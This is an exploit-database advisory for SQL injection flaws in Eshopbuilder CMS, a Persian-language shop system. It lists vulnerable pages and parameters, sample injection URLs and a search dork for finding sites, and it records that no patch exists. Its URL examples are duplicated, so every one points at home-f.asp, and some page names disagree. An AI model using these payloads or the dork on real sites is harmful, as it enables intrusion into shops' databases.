Eshopbuilde CMS SQL Injection Vulnerability

vendor:

Eshopbuilder CMS

by:

IUT-CERT

8.8

CVSS

HIGH

Input.Validation.Vulnerability (SQL Injection)

CWE

Product Name: Eshopbuilder CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: a:eshopbuilder:eshopbuilder

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2020

Eshopbuilde CMS SQL Injection Vulnerability

Eshopbuilder is a E-shop CMS written in persian language. The Eshopbuilder product is vulnerable to SQL injection. Injection "/home-f.asp","/opinions-f.asp" in "sitebid" parameter. Injection "/more-f.asp" in "sitebid" ,"id","secText","client-ip" and "G_id" parameters. Injection "/selectintro.asp" in "sitebid" ,"id","ma_id","mi_id","secText","client-ip" and "G_id" parameters. Injection "/advcount.asp" in "sitebid","secText","adv_code" and "client-ip" parameters. Injection "/advv.asp" in "sitebid","secText","adv_code" and "client-ip" parameters.

Mitigation:

The vendor has not released any patch for this vulnerability.

Source

Exploit-DB raw data:

================= IUT-CERT =================

Title: Eshopbuilde CMS SQL Injection Vulnerability

Vendor: www.eshopbuilder.ir

Dork: Design by Satcom Co
Type: Input.Validation.Vulnerability (SQL Injection)

Fix: N/A

================== nsec.ir =================

Description:

------------------

Eshopbuilder is a E-shop CMS written in persian language. The Eshopbuilder product is vulnerable to SQL injection.


Vulnerability Variant:

------------------
Injection "/home-f.asp","/opinions-f.asp" in "sitebid" parameter.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

Injection "/more-f.asp" in "sitebid" ,"id","secText","client-ip" and "G_id" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00
http://www.example.com/src=www.example.com/home-f.asp?sitebid=\"

other parameters("id","secText","client-ip","G_id") is similar to "sitebid" parameter.
Injection "/selectintro.asp" in "sitebid" ,"id","ma_id","mi_id","secText","client-ip" and "G_id" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("id","ma_id","mi_id","secText","client-ip" and "G_id") is similar to "sitebid" parameter.

Injection "/advcount.asp" in "sitebid","secText","adv_code" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText" and "client-ip") is similar to "sitebid" parameter.

Injection "/advview.asp" in "sitebid","secText","Grp_Code","_method" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText","client-ip","Grp_Code","_method" and "adv_code") is similar to "sitebid" parameter.

Injection "/dis_new-f.asp" in "sitebid","secText","newsId" and "client-ip" parameters.

http://www.example.com/src=www.example.com/home-f.asp?sitebid=@@version
http://www.example.com/src=www.example.com/home-f.asp?sitebid=JyI%3D
http://www.example.com/src=www.example.com/home-f.asp?sitebid=%00

other parameters("secText","newsId" and "client-ip") is similar to "sitebid" parameter.


Solution:

------------------

Input validation of Parameter "sitebid","id","secText","client-ip","G_id","ma_id","mi_id","Grp_Code","_method","adv_code" should be corrected.

Credit:

------------------

Isfahan University of Technology - Computer Emergency Response Team

Thanks to : M. Fereidounian, M. R. Faghani, N. Fathi, E. Jafari